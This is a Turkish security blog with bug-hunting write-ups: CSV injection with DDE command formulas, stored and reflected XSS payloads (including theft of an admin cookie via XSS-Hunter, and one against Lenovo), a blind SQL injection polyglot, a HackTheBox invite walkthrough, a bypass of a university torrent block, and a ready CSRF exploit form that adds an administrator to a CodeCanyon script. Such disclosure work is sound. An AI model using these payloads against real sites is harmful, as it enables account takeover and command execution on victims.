11 Eylül 2017 Pazartesi

CSV Injection Nedir & Canlı Örnek

06:58 Posted by Unknown
Selam.

Uzun süredir blog yazmadığımı fark ettim. Daha önce blog yazılarımda bahsettim mi bilmiyorum ama artık bug bounty muhabbetlerini bıraktığım için CodeCanyon'daki scriptlerde açık kovalıyorum. Bunun yanında Github projelerindeki zafiyetleri bulup raporluyorum. Hem bug bounty ile harcayacağım vaktimi communitye katkı vermeye adıyorum hem de para yerine insanlara yardım etme mutluluğuna eriyorum.

Şimdi bu yazıda CSV Injection diye geçen bi vektörü kısaca anlatıp canlı bir örnek göstermek istiyorum.

CSV Injection temel olarak, dışarıya çıkarılan ( export ) edilen .csv uzantılı dosyaların ( ki bunlar xlsl olarakta çıkarılabiliyor dışarı sayfa dizaynına göre ) dosyaların içerisine zararlı kodların çalıştırılarak, dosyayı açan hedef kullanıcı bilgisayarı üzerinde komut çalıştırma mantığına dayanır.

Çok uzun ve karmaşık bi cümle oldu farkındayım. Ama mantık olarak aslında şu: bir sayfa düşünelim bu sayfada sitede yer alan tüm kullanıcılar listeleniyor olsun. Bunu aklımızda tutalım.

Şimdi, birde Excel'in "formül" olayını düşünelim. En basit şekilde;

Bir excel formülü olarak "=sum(10+10)" dersek ilgili kutucukta "20" sonucunu görüyor oluruz. Bu en basit olanı. Şimdi biraz kötü düşünelim ve: " =cmd|' /C calc'!A0 " şeklinde bir formül girelim. Burada komut şu şekilde açıklanabilir:

cmd --> bildiğimiz windows command line
/C calc --> bu kısım bizim çalıştırmaya çalıştığımız şey ki burada hesap makinesi "calc"

Biz burada direkt olarak hesap makinesini çalıştırabiliyoruz.

Bunun yanında Youtube, Google gibi kaynaklardan bakılarak daha fantastik şeyler görülebilir. Buna bir örnek --> =HYPERLINK formulu ile zararlı linke yönlendirme olayı.

Twitterda bir arkadaş bulduğu CSV Injection zafiyetiyle "meterpreter" almaya kadar güzel bir PoC videosu çekmiş. Hem PoC nasıl çekilir hem CSV Inj ile neler yapılabilir güzel anlatmış. İzlemenizi tavsiye ederim.

Şimdi, benim bulduğum zafiyet temel olarak şu şekilde oluşuyor: kullanıcı adı kısmına payloadımız ile kayıt oluyoruz ve admin kullanıcıları export ettiğinde, xlsl dosyası elde ediyor. Bu dosyayı açtığında ise bizim yazdığımız payload çalışıyor.

Ekran görüntülü olarak anlatmak çok uzun sürüyor o yüzden kısacık bir video çektim.

Umarım, kafanızda 1 gramda olsa bir şeyler canlandırabilmeyi başarmışımdır.

Not: CSV Injection maalesef user interaction gerektiren bir zafiyet. Belki de en büyük problemi bu.


Video:







Dipnot: Videoda başka bir kullanıcı mail adresini "8.8.8.8" ip adresine ping atması için değiştirdim xls dosyasında da gösteriyorum. Neden önce calc açılmadı diyen arkadaşlar olacaktır. Sebebi önce ping komutunun olduğu kutucuk olduğu için. O da şu şekilde "=cmd|'/c start ping 8.8.8.8 -t'!A0"


Special thx to Hamido from WeedSquad

__

M.


26 Ağustos 2017 Cumartesi

XSS - Hunter & Stored XSS @ Admin Panel

06:38 Posted by Unknown

   Selamlar.


  Daha önce GoDaddy'de bulunan bi "blind xss" zafiyeti vardı. Türkçe kaynak pek bulunamıyor günümüz hacker arkadaşları sadece xss ile alert alıp bug bounty diyerek para kazanmaya çalıştığı için maalesef.

  Benim çok sevdiğim bir frameworkumsu şey var XSS-Hunter. Genelde doğrulama amaçlı bunu kullanıyorum. Genelde araştırma yaparken ben blackbox yapmayı ve scripti localime alıp yada demosunu kullanıp araştırmayı tercih ediyorum. Daha çok hoşuma gidiyor bu şekilde.

  Genelde XSS zafiyeti çıkan scriptler hep arama kutularında vs bu zafiyeti bırakıyorlar. Az önce incelediğim bi "SupportDesk" scripti vardı. Burda müşteri gidip derdini anlatan "ticket"lar açıyor ve admin panelinden bunları görüntüleyip cevap yazabiliyor bunlara.

   Şimdi burdaki zafiyet şu şekilde:

Gönderdiğimiz hemen hemen tüm input alanlarında bir filtreleme yapılmadığı için xss zafiyeti mevcut. Ancak burda problemli nokta şu: Admin panelden bunları görüntülüyor. Yani en basitinden siz bu açıkla adminin "cookie" değerini aldıp onun yerine giriş yapabilirsiniz.

  Şimdi. Siteye girdiğimiz de bizi şöyle bir sayfa karşılıyor.


Resim yazısı ekle


Burdaki durumdan anlaşılacağı üzere, bize en büyük alanı "mesaj" kısmı sağlamakta. Burayı kullanarak atak yapıp XSS-Hunter ile admin paneline ufak bi göz atıcaz.

XSS-Hunter kullanımıyla ilgili baya bi kaynak vardır muhtemelen. Zaten açık kaynak kodlu bi script. Github üzerinden bakabilir hatta kendi sitenize kurup kullanabilirsiniz. Yazan arkadaşın kendi kurulum önergeleri için buraya tıklayabilirsiniz. Kendisinin blogunu da ayrıca takip etmenizi öneririm.

Şimdi. XSS-Huntera sitesinden üye olduktan sonra size bir çok hazır payload sunmakta. Zaten burada spesifik bir payloada gerek olmadığı için ben direkt olarak "script" tagleri içinde bir payload yazacağım.


Yukarıda görüldüğü üzere mesaj kısmına xss-hunterdan aldığım payloadı yazıp gönderiyorum. 


Ardından, admin paneline giderek kontrol ediyorum hemen ticketi ve açıyorum.


Biz saldırıyı gerçekleştirdiğimizde admin arkadaşımız böyle görecek. Ardından, XSS-Hunter panelime gidiyorum ve orayı da kontrol ediyorum.

Ve bingo! 

Panel içerisinden bir görüntü yakalamayı ve Admin arkadaşın CSRF cookie değerini almayı başardık.


Bu şekilde elde edebiliyoruz rahatlıkla.



Böyle hızlı bir blog-post çıkarmak istedim uzun süredir yazmadığım için. Bu arada yazıda aşağıda referans ve yazmayı sevmiyorum. Referanslarımı şuraya iliştireyim.

Buna benzer bir olayı gördüğüm GoDaddy Blind XSS olayı, ADEO Staj CTF için arkadaşımın gönderdiği soru ( ki godaddy olayının aynısı idi soru ), Mr.Oğuzhan Karaaslan ( ben uğraşırken bana dedi ki abi xss-hunter diye bişi var tek atıyor. )


Umarım biraz da olsa herkesin kafasında bir ışık yakabilmişimdir. 

Saygılar.


__

M.

7 Temmuz 2017 Cuma

HackTheBox Davetiye Sorusu Çözümü

05:11 Posted by Unknown
Selamlar.

   Bu yazıda “HackTheBox” isimli siteden biraz bahsedip ardından da kayıt olmak için gereken ufak problemi nasıl çözdüğümü anlatacağım.

   HackTheBox, vulnhub gibi sanal makineler barındıran bir antrenman sitesi. Ama tek bir farkla: kayıt olmak içinde küçük  bir soruları var ve bu küçük problemi çözebilirsek eğer kayıt olabiliyoruz.

   Bu arada HackTheBox’ın, çoğu websitesinde ve OSCP hazırlığı için yapılan rehber blog yazılarında da OSCP makinelerine benzer makineler barındırdığından bahsediliyor.

  

Tatava kısmını geçtiğimize göre sitede bulunan “join” yazısına tıklıyoruz ardından, “Join HTB” kısmına da tıkladıktan sonra bizden “Invite Code”u girmemizi isteyen bir kısım var. 



   Benim ilk yaptığım şey kaynak kodu görüntülemek oldu. “/js” klasörü altındaki “inviteapi.min.js” dosyasını gördüm ve içine biraz göz attım.

   Bu dosyadaki “verifyInvideCode” ve “makeInviteCode” kısımları dikkatimi çekti. Bunları konsolda çalıştırmaya çalıştırsam da bana bir artısı olmadı. Konsolda deneme sebebim bu 2 zımbırtının birer fonksiyon olabilme ihtimaliydi.


   Ardından invite kısmına tekrar geçtim ve burdan konsolda denemek üzere yola koyuldum ki beni bir kuru kafa karşıladı. 

   Burada direkt konsola “makeInvideCode();” diyerek Object kısmına girdim ve ROT13 ile şifrelenmiş metni elde ettim. 


   Ardından metni decode ettiğimde, bana “/api/invite/generate” kısmına POST data ile istek atmam gerektiğini söyleyen bir metin daha elde ediyorum.


   Ardından, bu isteği yerine getiriyorum.

   Bunu yapmanın bence en basit yolu Mozilla’nın eklentisi olan “Tamper Data” ile uzantıya rastgele bir POST isteği atmak.

   

   Ardından bir JSON cevabı alıyorum. İçerisinde yine BASE64 olarak şifrelenmiş bir metin var. Bunu decode ediyorum ve davetiye kodumu elde ediyorum.



Geçmiş olsun.


Yararlandığım linkleri de şuraya koyimde sonra laf olmasın:


Hadi hayırlı işler

___

M.

20 Mayıs 2017 Cumartesi

Lenovo Reflected XSS

12:21 Posted by Unknown
Selam.

Uzun süredir Lenovo'nun bug bounty programı başlattığını duyuyordum ama bi türlü bakamamıştım.
Bugün okulda olmamdan ve canımın sıkılmış olmasından dolayı biraz Lenovo'ya bakmak istedim. Her ne kadar para vermeselerde boşa durmaktan iyidir diye düşünerek böyle bir aksiyon aldım.

Öncelikle direkt Google üzerinden başka herhangi bir domaine bakmadan ana domaine geçtim. Beni tr uzantıya yönlendirdi. Sizde siteye şurdan ulaşabilirsiniz.

Aşağıdaki reflected xss zafiyeti tüm lenovo domain uzantılarını etkilemektedir.

İlk önce en sevdiğim zafiyet bug bountynin para kaynağı XSS'ten başladım tabiki. Direkt gidip sağ üstteki search bar kısmına '">< karakterlerini denedim ve şöyle bir sonuç aldım:


Sayfanın kaydığını ve yazıların kaydığını görünce hemen kaynak kodu açtım.

En alt satırlarda birinde şöyle bir şey var:


Yukarıdaki SS'te görüldüğü üzere bir <script> bloğu içersine atıyor aradığımız değeri. Şimdi burdan bir xss pop-up çıkartabilmek için yapabileceğimiz 2 şey var.

1- Script tagını kapatıp onun ardından bir payload denemek.
2- Sorguyu kapatıp direkt istediğimizi yazmak.

Ben 2.yi tercih ettim çünkü herhangi başka bir şey yazdığımda "Forbidden" veriyordu. Uğraşmadan daha basit olan yolu seçtim.

Önce tırnaklara arasındaki arama değerimizi tırnaklardan kurtulmak için bir tırnak koydum.

Ardından noktalı virgül ile yeni bir sorgu açtım. 

En son payloadımı tamamlayıp sorguyu kapayıp pop-upı çıkarttım.

Payloadın son hali: ';prompt(document.domain)//

Sonuç:



Yazıyı kısa tutman gerekti. Laptopun şarj aleti evde kalmış maalesef.

2.aşamada içerideki .svn directorysi ve Lenovo üzerindeki SQL Injection zafiyetini anlatmaya çalışıcam dilim döndükçe

Basit ve fikir verici bir yazı yazmaya çalıştım.

Kolay gelsin

__

M.

16 Mayıs 2017 Salı

Okuldaki Lanet Torrent Koruması ve Ez Bypass

03:56 Posted by Unknown
Selamlar,

Güzel ülkemin güzel üniversitelerinden birinde eğitim hayatıma devam etmekteyim. Okulla pek aram olmadığı için vize-final gibi kritik dönemler hariç pek uğradığım bir mekan değil. Torrenti kullanıp, sessiz - sakin bir çalışma ortamı aradığımda ve işlerim yoğun olduğunda sabahtan geceye kadar okulda oluyorum. Okulumuzdaki bir hocamızın çok uzun ve yoğun uğraşları sonucu okulumuzda bir "Siber Güvenlik Lab"ı bulunmakta.

Giriş kısmını tamamladığımıza göre devam edebiliriz. Bu labda çeşitli işler yapıyoruz. Bunlar sanal makine çözümlerinden, ctflere katılmaya, konferanslar düzenleyip çeşitli arge çalışmaları yapmaya çalışıyoruz. Ancak her yerde olduğu gibi burada da sunulan kaynakları suistimal eden insanlar var ve olacaklar. Arkadaşlarımız yapsa yapsa ayda 1 film download yaparken torrentten bu arkadaşlar günde GB GB download yapmaktalar. Bu yüzden okulumuzun muazzam bilgi işlemi "torrent portu"nu kapamak suretiyle okulda torrent indirilmesini engellemiş durumda.

Okula gittiğimde torrentten bir şeyler indirmem gerekti ve hızın 100kbps olduğunu görüp çıldırdım. Çünkü 3 - 5 arkadaş sayesinde indirmek istediğim "Android Pentest" videoları maalesef benim için hayal olmuştu. Kaldı ki evde internet buna izin vermeyecek durumdaydı okulda ise 150Mbps paralel hıza sahip.

Ben de biraz araştırmaya başladım ve çeşitli şeyler buldum ancak hiçbirisi işe yaramadı. Ancak yalnızca torrent indirmesi kapalı olduğundan, normal indirmeler yine 1mbps max. hıza ulaşsa da bunları "Internet Download Manager"ın 32 connectionu ile 8 - 10 mbps hızları arasında bir değerde indirmek mümkün. ( Linux kullanan arkadaşlar downThemAll kullanabilir )

Bu iki şeyi kenarı not alıyoruz. Bunlar nedir ?

1- Torrent portu kapalı ve torrent indirme hızı max 100 kbps
2- Internet Download Manager kullanarak herhangi bir şey indirirken limit yok


Bize gereken şey elimizdeki torrenti webden indirmemize olanak sağlayacak bir şeyler.

Bu noktada ilk gözümüze çarpan şey şu oldu:

"ZbigZ"

ZbigZ servisi, verdiğiniz torrent dosyasını kendisi sunucudan indirir ve size direkt browser üzerinden indirme olanağı sağlar.


Ancak, "ZbigZ" bize maalesef en fazla 1GB'a kadar olan torrent dosyalarını indirmek için izin veriyor.

Biz de bunu görerek başka sulara yelken açıyoruz.

Yine "açık kaynak" forever diyerek GitHub üzerinde aramalarımızda, Cloud Torrent isimli bir torrent clientına denk geliyoruz. En önemli özelliği bunun remote olarak kendi sunucumuz üzerinde çalışması.

Burada ihtiyacımız olan şey: Docker.

Docker teknolojisini daha önce kullanmadım. Ancak kullanımı kolay ve çok hoş bir teknoloji. Ayrıca bu konuda yardımcı olan arkadaşım güzel insan Mehmet'e çok teşekkür ederim.

Neyse.

Cloud Torrent'i bulduktan sonra hemen manualini incelemeye başladım.

Çok basit, kolay kuruluyor bunun yanı sıra da sade arayüzüyle işlerimizi kolayca halletmemize yardımcı oluyordu.

Hemen DigitalOcean'dan girip bir Docker sunucu ayaklandırdım. Bunun için yapmanız gereken tek şey:

DigitalOcean'da sunucu oluştururken "One-Click Apps"  kısmından herhangi bir Docker'ı seçmeniz.



 Bunun ardından sunucumuza giriyoruz ( gerekli bilgiler mail yoluyla DO tarafından bize iletiliyor ).

Ardından, "apt-get update" -- "apt-get upgrade" komutları ile güncelliği sağlıyoruz.

Bu işlemleri yaptıktan sonra hemen "GO" dilini ( "goLang" olarak geçiyor ) indiriyor ve kuruyoruz. Bunun için "apt-get install golang" diyoruz.



Ardından, tüm bu adımları tamamladıktan sonra " go get -v github.com/jpillora/cloud-torrent "  komutu ile gerekli cloud-torrent dosyalarını sunucumuza indiriyoruz.

Bu işlemi de tamamladıktan sonra, direkt şu komut ile:

"docker run --name ct -d -p 63000:63000 \
  --restart always \
  -v /root/downloads:/downloads \ 
  jpillora/cloud-torrent --port 63000"

Servisimizi "63000" portunda ayaklandırıyoruz.

Hemen sunucu ipmiz ve port ile browserımızdan giriyoruz.

IP:63000 şeklinde.


Cloud-Torrent'i kullanırken dikkat etmemiz gereken nokta şu: torrentimiz "magnet" şeklinde olmalı. Bunun için "PirateBay" tarzı siteler direkt destek verse de her sitede böyle bir destek maalesef mevcut değil. Bunun içinde ".torrent" dosyamızı direkt olarak "magnet" haline çeviren bir servisten yararlanıyor olacağız.

Servisimizin ismi: Torrent2Magnet. Kendisine aha buradan ulaşabilirsiniz. Site üzerinden "Select .torrent File" kısmına tıklayıp .torrent dosyamızı upload ettiğimizde bize bir magnet linki vermekte.




Bu elde ettiğimiz "magnet" linki kopyalıyoruz. Ardından kendi sunucumuza kurduğumuz Cloud-Torrent üzerindeki "Enter search query..." şeklindeki girdi alanına yapıştırıyoruz ve "Load Magnet" kısmına tıklıyoruz.

Ardından torrent kendisi otomatik olarak inmeye başlıyor. Eğer bir problem olurda başlamazsa "Start" butonuna basarak başlatabilirsiniz.




Ardından "Internet Download Manager" ile indirmeye başlıyoruz. Ardından aşağıdaki gibi bir hıza ulaştığımızı görüyoruz:


Yukarıda da görebileceğimiz üzere sunucumuzdan "Cloud Torrent" ile 9mbps gibi bir hızla torrentimizi indirirken, IDM ile de sunucumuz üzerinden 11 mbps hızıyla indirdik.

Böylece okulun koyduğu aptalca "koruma"yı da geçmiş olduk.


Herkese yararlı olması dileğiyle.


__

M.

29 Ağustos 2016 Pazartesi

BasitBlog Güvenlik Testi

08:29 Posted by Unknown



Selamlar,

Burayı üzün süre önce unutmuştum amma ve lakin LYK2016'da Ömer in 'bro senin blog neydi' demesiyle irkildim. Çünkü blogum yoktu! Bende burayı hatırlayıp verdim hızlıca. Bugün de domaini alıp blogu artık .com vs tarzı bir şeye mi dönüştürsem dedim. Domaini vs sonraya bırakıp blog scriptlerine bakmaya başladım. Wordpress, Blogger artık elinizi sallasanız denk geldiğiniz scriptler olduğundan Github gibi yerlerde aradım 1-2 şey ve bir Türk arkadaşın yazdığı scripte denk geldim. Scripti 'basitblog' olarak isimlendirmiş. Bakmak isteyenler aha da buraya tıklayarak bakabilirler nasıl bir şey olduğuna.

Bende locale alıp biraz üzerinde alıştırma yapmak istedim. Kaynak kod incelemesi vs değil bu ancak zafiyetlerin kaynaklandığı kod parçalarını da koyacağım yazıya.

Öncelikle kurulum kısmına Github wikisinden ulaşabilirsiniz. Biz direkt kurup çalıştırdığımızı varsayalım. Karşımıza aşağıdaki gibi bir ekran çıkıyor:

Yönetim Anasayfası

Şimdi burada ilk Türk hackerlarının en sevdiği kısım olan arama kısmını kurcalamaya başladım tabiki. Herhangi bir arama yaptığımızda yazdığımız arama kelimesi 'hizliara' değişkeni ile bize yansıtılıyor. Burada yaptığım ilk şey XSS denemek oldu. İlk aradığım şey 'murat' kelimesiydi ve test amaçlı idi ardından 'murat'"><svg/onload=prompt(1)>' olarak aradım ve işte alert karşımdaydı!

XSS Alert

 Zafiyete neden olan kod parçacığı da şu şekilde:

GET değişkeninde filtreleme yok



 Gördüğümüz gibi bir basit bir Reflected XSS zafiyeti burada bulunmakta ancak authenticated olduğu için tehlike arz etmekte.

Şimdi bir diğer XSS açığımıza geçelim.

Diğer XSS açığımız yönetim panelinin giriş kısmında. Burada ilk önce kaynak kodu gösterelim.

Aşağıda görebileceğiniz gibi 'eposta' değişkeninde herhangi bir filtreleme yok. Burada giriş sayfasında eposta değişkeni kısmına yazacağımız herhangi bir xss payloadı xss alerti almamız için yeterlidir.

Korunmasız 'eposta' değişkeni


 Şimdi yukarıda kullandığımız payloadı kullanarak alert almaya çalışalım.

Giriş kısmında aldığımız XSS alert

 Ayrıca bu kod parçacığında dikkat çeken bir diğer kısım SQL sorgusu. POST edilen 'eposta' değişkeni yine korunmasız ve burada Blind SQLi açığı mevcut.

Blind SQLi olan kısım


 Burada bir eposta değişkenine polyglot olarak tabir edilen SQL Injectionu tespit etmek için kullanılan payloadı burada deneyeceğiz.

Payloadımız:

if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/

 Bu payloadı kullandığımızda sayfa 6 saniye geç yüklenecek ve biz burada SQLi bugu olduğunu anlayacağız.

Bu incelememiz bu kadar.

Feedbackleri yorumları bekliyorum.

Kolay gelsin!









27 Haziran 2016 Pazartesi

Twitter Auto Post Multi Accounts - CSRF Add Admin Exploit

05:37 Posted by Unknown
<!--
# Exploit Title: Twitter Auto Post Multi Accounts - CSRF Add Admin Exploit
# Date: 09/06/2016
# Exploit Author: Murat YILMAZLAR
# Vendor Homepage: http://codecanyon.net/item/twitter-auto-post-multi-accounts/16794863?s_rank=1
# Demo Page: http://tw.cozola.com/
# Version: 1.0

# Exploit:

< -- bug code started -- >
-->

<html>
  <body>
    <form action="[SITE]/index.php/Users/postUpdate" method="POST">
      <input type="hidden" name="admin" value="1" />
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="username" value="newadmin" />
      <input type="hidden" name="password" value="newpass" />
      <input type="hidden" name="repassword" value="newpass" />
      <input type="hidden" name="fid" value="hacked&#95;admin" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="token" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<!--
< -- end of the bug code -- >

#########################

[+] Contact: http://twitter.com/muratyilmazlarr
-->